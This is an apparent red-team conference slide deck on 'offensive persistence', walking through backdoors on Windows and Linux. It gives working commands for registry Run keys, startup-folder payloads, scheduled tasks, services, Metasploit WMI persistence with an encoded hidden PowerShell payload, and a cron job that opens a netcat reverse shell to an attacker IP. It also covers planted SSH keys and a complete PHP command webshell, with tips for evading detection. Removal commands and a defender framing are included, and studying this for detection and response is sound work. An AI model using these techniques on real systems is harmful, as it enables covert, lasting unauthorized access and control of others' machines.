


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# OFFENSIVE PERSISTENCE

By: Andrew Oliveau



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# AGENDA

- What is Offensive Persistence?
- Why learn Persistence?
- Windows Persistence
  - Local
  - Network
- Linux Persistence
  - Local
  - Web
- Q&A



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
# WHAT IS OFFENSIVE PERSISTENCE?

- The act of maintain a foothold in a system or network after compromising a workstation or server.
- “Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.”
- Stolen from -> <https://attack.mitre.org/tactics/TA0003/>

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# WHY LEARN PERSISTENCE?


- For Red Teams, this is a crucial part of the attack life-cycle.
  - Initial access can be HARD
- For Blue Teams, it is important to understand how attackers think.
  - Detection rules
  - Incident Response



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
# WINDOWS PERSISTENCE

- Local – Persistence on individual Workstation/Server
  - Reg keys
  - Startup folder
  - Scheduled Task
  - Services
  - WMI
- Network – Persistence on the domain network
  - VPN
  - Finding servers that rarely reboot



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# WINDOWS – REG KEYS




- Windows Registry is a database of settings for Microsoft Windows operating system
  - GUI tool Regedit.exe but you can also use CMD/PowerShell
  - Has several registry keys that can be used for persistence
    - `hkcurun` – HKCU\Software\Microsoft\Windows\CurrentVersion\Run – No admin privileges required
    - `hklmrun` - HKLM\Software\Microsoft\Windows\CurrentVersion\Run - Admin privileges required
  - **`reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v <name> /t REG_SZ /d "<C:\Path\to\backdoor.exe>"`**
  - **`reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v <name>`**
-

# WINDOWS – REG KEYS - EXAMPLE

```
C:\Users\Sec504>reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    com.squirrel.Teams.Teams    REG_SZ    C:\Users\Sec504\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--system-initiated"

C:\Users\Sec504>
```



```
C:\Users\Sec504>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v masoncc /t REG_SZ /d "C:\Users\Sec504\Pictures\dogs\shell.exe"
The operation completed successfully.

C:\Users\Sec504>reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    com.squirrel.Teams.Teams    REG_SZ    C:\Users\Sec504\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--system-initiated"
    masoncc    REG_SZ    C:\Users\Sec504\Pictures\dogs\shell.exe

C:\Users\Sec504>
```

---

# WINDOWS – REG KEYS – EXAMPLE

```
msf5 exploit(multi/handler) >  
msf5 exploit(multi/handler) >  
msf5 exploit(multi/handler) >  
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...  
[*] Meterpreter session 2 opened (192.168.60.129:8888 -> 192.168.60.131:1673) at 2021-02-16 18:06:26 -0500
```

File System

5756	772	SearchUI.exe	x64	2	THEBOSS\Sec504	C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
5976	2768	dwm.exe				
5984	5992	shell.exe	x86	2	THEBOSS\Sec504	C:\Users\Sec504\Pictures\dogs\shell.exe
5992	4900	explorer.exe	x64	2	THEBOSS\Sec504	C:\Windows\explorer.exe

```
C:\Users\Sec504>reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v masoncc  
Delete the registry value masoncc (Yes/No)? yes  
The operation completed successfully.  
  
C:\Users\Sec504>reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"  
  
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  
com.squirrel.Teams.Teams REG_SZ C:\Users\Sec504\AppData\Local\Microsoft\Teams\Update.exe --pro  
ted"
```

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# WINDOWS – STARTUP FOLDER


- Windows will run anything placed in the startup folder
- %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
- C:\Users\target\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
- Drop payload in that folder, payload will run when user logs in.



---

# WINDOWS – STARTUP FOLDER - EXAMPLE

```
meterpreter > cd "AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
meterpreter > pwd
C:\Users\Sec504\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
meterpreter >
meterpreter >
meterpreter > upload /root/talks/shell.exe
[*] uploading : /root/talks/shell.exe -> shell.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/talks/shell.exe -> shell.exe
[*] uploaded : /root/talks/shell.exe -> shell.exe
meterpreter > 
```

> adhd > AppData > Roaming > Microsoft > Windows > Start Menu > Programs > Startup				
^				
Name	Date modified	Type	Size	
 shell.exe	2/16/2021 4:17 PM	Application	73 KB	

```
msf5 exploit(multi/handler) >
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 3 opened (192.168.60.129:8888 -> 192.168.60.131:1720) at 2021-02-16 18:21:46 -0500
msf5 exploit(multi/handler) > 
```


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# WINDOWS – SCHEDULED TASK

- Scheduled task – a task that runs periodically throughout the systems life-cycle
    - Minute
    - Hour
    - Daily
    - Monthly
  - Windows Operating system has plenty of scheduled task to blend in with
  - **`schtasks /Create /F /RU Sec504 /SC DAILY /ST 16:32 /TN MasonCC_SCHTASK /TR "C:\Users\Sec504\Pictures\dogs\shell.exe"`**
  - Non-admin privileges (creating scheduled task that triggers hourly or daily)
  - Admin privileges (creating scheduled task that triggers at logon)
  - Parent PID (PPID) is svchost.exe – Can help with opsec and bypassing detection
-

# WINDOWS – SCHEDULED TASK - EXAMPLE



```
msf5 exploit(multi/handler) >
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 4 opened (192.168.60.129:8888 -> 192.168.60.131:1741) at 2021-02-16 18:32:00 -0500
```

File System

# WINDOWS – SCHEDULED TASK - EXAMPLE



```
C:\Users\Sec504>schtasks /query /FO TABLE
```

```
Folder: \
TaskName                               Next Run Time           Status
=====
MasonCC_SCHTASK                        2/17/2021 4:32:00 PM    Running
OneDrive Standalone Update Task-S-1-5-21 2/17/2021 1:51:43 PM    Ready
User_Feed_Synchronization-{EAE6B99A-F322 2/17/2021 3:37:19 AM    Ready
```

```
C:\Users\Sec504>schtasks /delete /TN "\MasonCC_SCHTASK"
```

```
WARNING: Are you sure you want to remove the task "\MasonCC_SCHTASK" (Y/N)? Y
SUCCESS: The scheduled task "\MasonCC_SCHTASK" was successfully deleted.
```

```
C:\Users\Sec504>
```



---

# WINDOWS – SERVICES


- Services run program tasks on startup or manually for long-running processes. This persistence technique creates and registers a new service.
  - Requires admin privileges for this technique.
  - **sc create masoncc\_svc binpath= " C:\Users\Sec504\Pictures\dogs\shell.exe " start= "auto" obj= "LocalSystem" password= ""**
  - **sc start masoncc\_svc**
  - PPID is service.exe – also useful for opsec and bypassing detection
-

# WINDOWS – SERVICES -EXAMPLE

```
Command Prompt
C:\Users\Sec504>
C:\Users\Sec504>sc create masoncc_svc binpath= "C:\Users\Sec504\Pictures\dogs\shell.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] OpenSCManager FAILED 5:
Access is denied.
```

```
Administrator: Command Prompt
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>sc create masoncc_svc binpath= "C:\Users\Sec504\Pictures\dogs\shell.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
```




The screenshot shows the Windows Services console. The 'Services (Local)' list on the left contains 'masoncc\_svc'. The main pane displays a table of services. The 'masoncc\_svc' service is selected and highlighted in blue. Below the table, there is a link to 'Start the service'.

Name	Description	Status	Startup Type	Log On As
masoncc_svc			Automatic	Local System...
MessagingService_a929f8	Service supporting...		Manual (Trig...	Local System...

# WINDOWS – SERVICES -EXAMPLE

```
meterpreter >  
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...  
[*] Meterpreter session 6 opened (192.168.60.129:8888 -> 192.168.60.131:1761) at 2021-02-16 19:02:17 -0500
```

```
meterpreter > getuid  
Server<username: NT AUTHORITY\SYSTEM  
meterpreter >
```





---

# WINDOWS - WMI

- Windows Management Instrumentation (WMI) is a tool used by system administrators to perform tasks locally and remotely
  - Red Teamers can use WMI for lateral movement, reconnaissance, code execution, and persistence (VERY POWERFUL)
  - WMI persistence requires the creation of three classes
    - **\_\_EventFilter** → Trigger (new process, new logon, every x seconds, etc)
    - **EventConsumer** → Perform Action (execute payload)
    - **\_\_FilterToConsumerBinding** → Binds Filter and Consumer Classes
  - Requires Admin privileges
  - PPID is WmiPrvSE.exe – also good for opsec and bypassing detection
-

# WINDOWS – WMI - EXAMPLE

- use `exploit/windows/local/wmi_persistence`

```
msf5 exploit(multi/handler) > sessions

Active_sessions
=====
File System
-----
Id  Name  Type                Information                                     Connection
---  ---  ---
  8  meterpreter x86/windows NT AUTHORITY\SYSTEM @ THEBOSS 192.168.60.129:8888 -> 192.168.60.131:1782 (192.168.60.131)

msf5 exploit(multi/handler) > use exploit/windows/local/wmi_persistence
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/wmi_persistence) > options

Module options (exploit/windows/local/wmi_persistence):

Name                Current Setting  Required  Description
-----
CALLBACK_INTERVAL  1800000         yes       Time between callbacks (In milliseconds). (Default: 1800000).
CLASSNAME           UPDATER         yes       WMI event class name. (Default: UPDATER)
EVENT_ID_TRIGGER    4625            yes       Event ID to trigger the payload. (Default: 4625)
PERSISTENCE_METHOD  EVENT           yes       Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAITFOR)
PROCESS_TRIGGER     CALC.EXE        yes       The process name to trigger the payload. (Default: CALC.EXE)
SESSION             CALL            yes       The session to run this module on.
USERNAME_TRIGGER    BOB             yes       The username to trigger the payload. (Default: BOB)
WAITFOR_TRIGGER     CALL            yes       The word to trigger the payload. (Default: CALL)

Payload options (windows/meterpreter/reverse_tcp):

Name                Current Setting  Required  Description
-----
EXITFUNC            process         yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST               192.168.60.129  yes       The listen address (an interface may be specified)
LPORT               4444           yes       The listen port

**DisablePayloadHandler: True (no handler will be created!)**
blocketw2.e...
```



# WINDOWS – WMI - EXAMPLE



```
msf5 exploit(windows/local/wmi_persistence) > set CLASSNAME masoncc_wmi
CLASSNAME => masoncc_wmi
msf5 exploit(windows/local/wmi_persistence) > set PERSISTENCE_METHOD PROCESS
PERSISTENCE_METHOD => PROCESS
msf5 exploit(windows/local/wmi_persistence) > set PROCESS_TRIGGER FIREFOX.EXE
PROCESS_TRIGGER => FIREFOX.EXE
msf5 exploit(windows/local/wmi_persistence) > set SESSION 8
SESSION => 8
msf5 exploit(windows/local/wmi_persistence) >
```

```
msf5 exploit(windows/local/wmi_persistence) > options
Module options (exploit/windows/local/wmi_persistence):
```

Name	Current Setting	Required	Description
CALLBACK_INTERVAL	1800000	yes	Time between callbacks (In
CLASSNAME	masoncc_wmi	yes	WMI event class name. (Defa
EVENT_ID_TRIGGER	4625	yes	Event ID to trigger the pay
PERSISTENCE_METHOD	PROCESS	yes	Method to trigger the paylo
PROCESS_TRIGGER	FIREFOX.EXE	yes	The process name to trigger
SESSION	8	yes	The session to run this mod
USERNAME_TRIGGER	BOB	yes	The username to trigger the
WAITFOR_TRIGGER	CALL	yes	The word to trigger the pay

```
Payload options (windows/meterpreter/reverse_http):
```

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, th
LHOST	192.168.60.129	yes	The local listener hostname
LPORT	8888	yes	The local listener port
LURI		no	The HTTP Path

```
**DisablePayloadHandler: True (no handler will be created!)**
```

```
msf5 exploit(windows/local/wmi_persistence) > run
[*] Installing Persistence...
[+] - Bytes remaining: 13720
[+] - Bytes remaining: 5720
[+] Payload successfully staged.
[+] Persistence installed!
[*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persistence/19
msf5 exploit(windows/local/wmi_persistence) >
```

# WINDOWS – WMI – EXAMPLE

```
PS C:\Windows\system32> Get-WmiObject -Namespace root\Subscription -Class __EventFilter
```

```
__GENUS           : 2
__CLASS           : __EventFilter
__SUPERCLASS     : __IndicationRelated
__DYNASTY         : __SystemClass
__RELPATH         : __EventFilter.Name="masoncc_wmi"
__PROPERTY_COUNT : 6
__DERIVATION     : {__IndicationRelated, __SystemClass}
SERVER           : THEBOSS
NAMESPACE        : ROOT\Subscription
PATH             : \\THEBOSS\ROOT\Subscription:__EventFilter.Name="masoncc_wmi"
CreatorSID       : {1, 5, 0, 0...}
EventAccess      :
EventNamespace   : root/cimv2
Name             : masoncc_wmi
Query            : SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= 'FIREFOX.EXE'
QueryLanguage    : WQL
PSComputerName   : THEBOSS
```

```
PS C:\Windows\system32> Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
```

```
__GENUS           : 2
__CLASS           : CommandLineEventConsumer
__SUPERCLASS     : __EventConsumer
__DYNASTY         : __SystemClass
__RELPATH         : CommandLineEventConsumer.Name="masoncc_wmi"
__PROPERTY_COUNT : 27
__DERIVATION     : {__EventConsumer, __IndicationRelated, __SystemClass}
SERVER           : THEBOSS
NAMESPACE        : ROOT\Subscription
PATH             : \\THEBOSS\ROOT\Subscription:CommandLineEventConsumer.Name="masoncc_wmi"
CommandLineTemplate : powershell.exe -nop -w hidden -noni -e aQBmACgAWwBJAG4AdABQAHQACgBdADoAOgBTAGkAegB1ACAALQB1AHEAIAAOACkAewAk
ZQAnAH0AZQBzAHMAZQB7ACQAYGgA9ACQAZQBwAHYA0gB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwB
AcABvAHcAZQBzAHMAaAB1AGwAbAAuAGUAeAB1ACcAFQA7ACQACwA9AE4AZQB3ACQATwB1AGoAZQBjAHQAIAbTAHkAcwBOAGUAbQAuAEQAaQ
MAUwBOAGEAcgBOAEkAbgBmAG8AQwAkAHMALgBgAGkAbAB1AE4AYQBtAGUAPQAKAGIAOwAkAHMALgBBAHIAZwB1AGoAZQBwAHQAuAGUA9ACcAL
GQAZQBwACAALQBjACAAJgAoAFsAcwBjAHIAaQBBwAHQAYgBsAG8AYwBrAF0AOgA6AGMACgB1AGEAdAB1ACgAKABOAGUAdwAtAE8AYgBqAGUA
AGEAbQB5AGUAYQBkAGUAcgAoAE4AZQB3ACQATwB1AGoAZQBjAHQAIAbTAHkAcwBOAGUAbQAuAEkATwAuAEMAbwBtAHAACgB1AHMAcwBpAG8
3ACQATwB1AGoAZQBjAHQAIAbTAHkAcwBOAGUAbQAuAEkATwAuAEQAZQBtAG8AcgB5AFMAdABYAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC
```

```
PS C:\Windows\system32> Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```

```
__GENUS           : 2
__CLASS           : __FilterToConsumerBinding
__SUPERCLASS     : __IndicationRelated
__DYNASTY         : __SystemClass
__RELPATH         : __FilterToConsumerBinding.Consumer="CommandLineEventConsumer.Name=\"masoncc_wmi\"",Filter="__EventFilter.Name=\"masoncc_wmi\""
__PROPERTY_COUNT : 7
__DERIVATION     : {__IndicationRelated, __SystemClass}
SERVER           : THEBOSS
NAMESPACE        : ROOT\Subscription
```



# WINDOWS – WMI - EXAMPLE

firefox.exe	2460	0.05	192 B/s	147.67 MB	THEBOSS\Sec504
firefox.exe	3216		192 B/s	21.48 MB	THEBOSS\Sec504
firefox.exe	2456			56.45 MB	THEBOSS\Sec504
firefox.exe	2768			35.8 MB	THEBOSS\Sec504
firefox.exe	4192			26.37 MB	THEBOSS\Sec504
powershell.exe	3880			63.59 MB	NT AUTHORITY\AS



```
msf5 exploit(windows/local/wmi_persistence) >
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 11 opened (192.168.60.129:8888 -> 192.168.60.131:1939) at 2021-02-16 19:41:14 -0500
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 12 opened (192.168.60.129:8888 -> 192.168.60.131:1940) at 2021-02-16 19:41:15 -0500
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 13 opened (192.168.60.129:8888 -> 192.168.60.131:1941) at 2021-02-16 19:41:15 -0500
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 14 opened (192.168.60.129:8888 -> 192.168.60.131:1942) at 2021-02-16 19:41:15 -0500
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 15 opened (192.168.60.129:8888 -> 192.168.60.131:1943) at 2021-02-16 19:41:16 -0500
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 16 opened (192.168.60.129:8888 -> 192.168.60.131:1947) at 2021-02-16 19:41:16 -0500
[*] http://192.168.60.129:8888 handling request from 192.168.60.131; (UUID: 2vlsledp) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 17 opened (192.168.60.129:8888 -> 192.168.60.131:1948) at 2021-02-16 19:41:16 -0500
```

---

# WINDOWS – WMI - EXAMPLE




- Removing WMI persistence ...
  - **Get-WmiObject -Namespace root\Subscription -Class \_\_EventFilter -Filter "Name='masoncc\_wmi'" | Remove-WmiObject**
  - **Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='masoncc\_wmi'" | Remove-WmiObject**
  - **Get-WMIObject -Namespace root\Subscription -Class \_\_FilterToConsumerBinding -Filter "\_\_PATH LIKE '%masoncc\_wmi%'" | Remove-WmiObject**
-

---

# WINDOWS – NETWORK PERSISTENCE

- VPN
  - Got valid creds and user has VPN? = Best/stealthiest persistence
  - Why?
- Find a server that rarely reboots
  - Can find potential servers by looking at AD attributes
  - Useful for long term persistence



---

# LINUX PERSISTENCE

- Local - Persistence on individual Workstation/Server
  - SSH Keys
  - Cron job
- Web – Internet facing webshell
  - Simple PHP backdoor





---

# LINUX - SSH KEYS

- If key-based authentication is enabled (which is the default) when a logon attempt is made SSH daemon will check user's configured authorized keys in `~/.ssh/authorized_keys`
- Add our public key to some user's `authorized_keys` file (aka compromised user)
- Create your key with **ssh-keygen**



# LINUX – SSH KEYS - EXAMPLE

```
root@azure-cli-3:~/talks# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:3/KppF2JBjs30ZLyc9j5QTP/0rmwa/eX1Q708p40Gnk root@azure-cli-3
The key's randomart image is:
+---[RSA 3072]-----+
|
|  .
| S o+E ..
| BlockEtv= !==+ +
| . =o@o*..*o
| oo0+*.==0=
| oo0+*ooB=
+---[SHA256]-----+
root@azure-cli-3:~/talks# ls
id_rsa id_rsa.pub shell.exe
```

```
root@azure-cli-3:~/talks# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDWQw1VC0dwsIH+ND7+GWSy+ne/fhEixENT/FaA+KHY3ZEFEOQ4krLw1o818v8yqZr9xw7W87+mNueByWqAu0GeqT0QNL3J6V1+0/45hk27mAtoNj/kSnqLHYhkFMcGXFMLtbqFCFeGfRi66of3B2UURHDmjGcVt592s00foG17Z
pw48SA2RZT9Z8uI5mVTpF6bo9LbTQtgFxx4ffVDedAilgA0Qt92A1Pp82MwroB/xSf4r6Ep3S/SJrVyV+KSjgTk9xs+nx2SAGMCr1nUH5xw912LaMj/6CGReomtdDan3XW2AJL5ZTtiQ/MI4w4iavw120kEjRowJmAlHn0QYo3I0YP2gAdfU+0T/mC8FvtKcMTacEJMXQmFhNpXnaK
/wiu5m+1K1wJGF1EXKECPNrat81n8YofWlrcLcLmMcMiisgDdxJy9oqLYJGENVJSkx4dXw1zzHFwJ2A8ezQF85pcfeSRCxT6dhESsusRLSZIyijpvqdBxz0cGDwV0mHg8= root@azure-cli-3
```

```
root@azure-cli-3: ~/htb/Cybernetics 211x16
GNU nano 2.7.4
File: authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDWQw1VC0dwsIH+ND7+GWSy+ne/fhEixENT/FaA+KHY3ZEFEOQ4krLw1o818v8yqZr9xw7W87+mNueByWqAu0GeqT0Q
```

---

# LINUX – SSH KEYS - EXAMPLE

```
root@azure-cli-3:~/talks# chmod 600 id_rsa
root@azure-cli-3:~/talks#
root@azure-cli-3:~/talks#
root@azure-cli-3:~/talks# ssh -i id_rsa root@194.5.34.52
Enter passphrase for key 'id_rsa':
Linux webserv03.local.com 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@webserv03:~#
```

---

---

# LINUX – CRON JOBS

- Like Windows Scheduled Task, run whatever you want periodically (we want the bad stuff to run)
- The example below will run netcat reverse shell every 10 minutes
- **CT=\$(crontab -l)**

**CT=\$CT\$'\n10 \* \* \* \* nc -e /bin/bash <ATTACKER\_IP> <PORT>'**

**printf "\$CT" | crontab -**

---

---

# LINUX – CRON JOBS – EXAMPLE

- This will run netcat reverse shell every minute

```
root@websrv03:/tmp# nc -lvp 1337
listening on [any] 1337 ...
connect to [191.108.243.242] from pool-173-66-44-44.washdc.fios.verizon.net [173.66.44.44] 58631

id
uid=0(root) gid=0(root) groups=0(root)

root@azure-cli-3:~/talks#
root@azure-cli-3:~/talks#
root@azure-cli-3:~/talks# CT='\n* * * * * nc -e /bin/bash 191.108.243.242 1337\n'
root@azure-cli-3:~/talks# printf "$CT" | crontab -
```

---

# LINUX - WEBSHELLS

- If you compromise a Linux server that is internet facing, webshells FTW!
- If the Linux server is also domain joined... gold!
- Simple PHP webshell is enough





# LINUX - WEBSHELLS - EXAMPLE

```
root@azure-cli-3:/usr/share/webshells/php# pwd
/usr/share/webshells/php
root@azure-cli-3:/usr/share/webshells/php# ls
findsocket php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php
root@azure-cli-3:/usr/share/webshells/php# cat simple-backdoor.php
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->


<?php
BlockEtw-1
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!-- beacon http://michaeldaw.org 2006 -->
root@azure-cli-3:/usr/share/webshells/php#
```



```
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
```



---

# TOOLS

- Metasploit post-exploitation modules
  - You will get detected, so go custom or modify modules
- SharPersist
  - <https://github.com/fireeye/SharPersist>
- Do it manually 😊





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# CONCLUSION

- Persistence is VERY important for red team AND blue team
- Practice before implementing
- Remember to clean up!



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QUESTIONS?



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# RESOURCES

- <https://zweilosec.gitbook.io/hackers-rest/windows-1/windows-redteam/persistence>
  - <https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation>
  - <https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/>
  - <https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96>
  - <https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c>
  - <https://github.com/fireeye/SharPersist>
-